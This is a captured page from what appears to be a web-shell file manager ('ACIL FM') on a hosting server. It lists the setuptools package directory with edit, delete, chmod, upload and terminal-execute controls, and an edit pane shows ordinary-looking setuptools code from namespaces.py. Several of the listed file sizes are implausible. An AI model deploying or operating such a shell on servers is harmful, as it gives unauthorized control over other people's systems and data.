ACIL FM
Dark
Refresh
Current DIR:
/opt/alt/python39/lib/python3.9/site-packages/setuptools
/
opt
alt
python39
lib
python3.9
site-packages
setuptools
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
command
-
chmod
Open
Rename
Delete
extern
-
chmod
Open
Rename
Delete
_distutils
-
chmod
Open
Rename
Delete
_vendor
-
chmod
Open
Rename
Delete
__pycache__
-
chmod
Open
Rename
Delete
archive_util.py
6.91 MB
chmod
View
DL
Edit
Rename
Delete
build_meta.py
10.04 MB
chmod
View
DL
Edit
Rename
Delete
config.py
22.58 MB
chmod
View
DL
Edit
Rename
Delete
depends.py
5.35 MB
chmod
View
DL
Edit
Rename
Delete
dep_util.py
949 B
chmod
View
DL
Edit
Rename
Delete
dist.py
42.08 MB
chmod
View
DL
Edit
Rename
Delete
errors.py
524 B
chmod
View
DL
Edit
Rename
Delete
extension.py
1.64 MB
chmod
View
DL
Edit
Rename
Delete
glob.py
4.76 MB
chmod
View
DL
Edit
Rename
Delete
installer.py
3.48 MB
chmod
View
DL
Edit
Rename
Delete
launch.py
812 B
chmod
View
DL
Edit
Rename
Delete
monkey.py
5.09 MB
chmod
View
DL
Edit
Rename
Delete
msvc.py
49.38 MB
chmod
View
DL
Edit
Rename
Delete
namespaces.py
3.02 MB
chmod
View
DL
Edit
Rename
Delete
package_index.py
38.95 MB
chmod
View
DL
Edit
Rename
Delete
py34compat.py
245 B
chmod
View
DL
Edit
Rename
Delete
sandbox.py
14.01 MB
chmod
View
DL
Edit
Rename
Delete
script (dev).tmpl
218 B
chmod
View
DL
Edit
Rename
Delete
script.tmpl
138 B
chmod
View
DL
Edit
Rename
Delete
unicode_utils.py
941 B
chmod
View
DL
Edit
Rename
Delete
version.py
144 B
chmod
View
DL
Edit
Rename
Delete
wheel.py
8.09 MB
chmod
View
DL
Edit
Rename
Delete
windows_support.py
714 B
chmod
View
DL
Edit
Rename
Delete
_deprecation_warning.py
218 B
chmod
View
DL
Edit
Rename
Delete
_imp.py
2.34 MB
chmod
View
DL
Edit
Rename
Delete
__init__.py
7.49 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/alt/python39/lib/python3.9/site-packages/setuptools/namespaces.py
import os from distutils import log import itertools flatten = itertools.chain.from_iterable class Installer: nspkg_ext = '-nspkg.pth' def install_namespaces(self): nsp = self._get_all_ns_packages() if not nsp: return filename, ext = os.path.splitext(self._get_target()) filename += self.nspkg_ext self.outputs.append(filename) log.info("Installing %s", filename) lines = map(self._gen_nspkg_line, nsp) if self.dry_run: # always generate the lines, even in dry run list(lines) return with open(filename, 'wt') as f: f.writelines(lines) def uninstall_namespaces(self): filename, ext = os.path.splitext(self._get_target()) filename += self.nspkg_ext if not os.path.exists(filename): return log.info("Removing %s", filename) os.remove(filename) def _get_target(self): return self.target _nspkg_tmpl = ( "import sys, types, os", "has_mfs = sys.version_info > (3, 5)", "p = os.path.join(%(root)s, *%(pth)r)", "importlib = has_mfs and __import__('importlib.util')", "has_mfs and __import__('importlib.machinery')", ( "m = has_mfs and " "sys.modules.setdefault(%(pkg)r, " "importlib.util.module_from_spec(" "importlib.machinery.PathFinder.find_spec(%(pkg)r, " "[os.path.dirname(p)])))" ), ( "m = m or " "sys.modules.setdefault(%(pkg)r, types.ModuleType(%(pkg)r))" ), "mp = (m or []) and m.__dict__.setdefault('__path__',[])", "(p not in mp) and mp.append(p)", ) "lines for the namespace installer" _nspkg_tmpl_multi = ( 'm and setattr(sys.modules[%(parent)r], %(child)r, m)', ) "additional line(s) when a parent package is indicated" def _get_root(self): return "sys._getframe(1).f_locals['sitedir']" def _gen_nspkg_line(self, pkg): pth = tuple(pkg.split('.')) root = self._get_root() tmpl_lines = self._nspkg_tmpl parent, sep, child = pkg.rpartition('.') if parent: tmpl_lines += self._nspkg_tmpl_multi return ';'.join(tmpl_lines) % locals() + '\n' def _get_all_ns_packages(self): """Return sorted list of all package namespaces""" pkgs = self.distribution.namespace_packages or [] return sorted(flatten(map(self._pkg_names, pkgs))) @staticmethod def _pkg_names(pkg): """ Given a namespace package, yield the components of that package. >>> names = Installer._pkg_names('a.b.c') >>> set(names) == set(['a', 'a.b', 'a.b.c']) True """ parts = pkg.split('.') while parts: yield '.'.join(parts) parts.pop() class DevelopInstaller(Installer): def _get_root(self): return repr(str(self.egg_path)) def _get_target(self): return self.egg_link
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply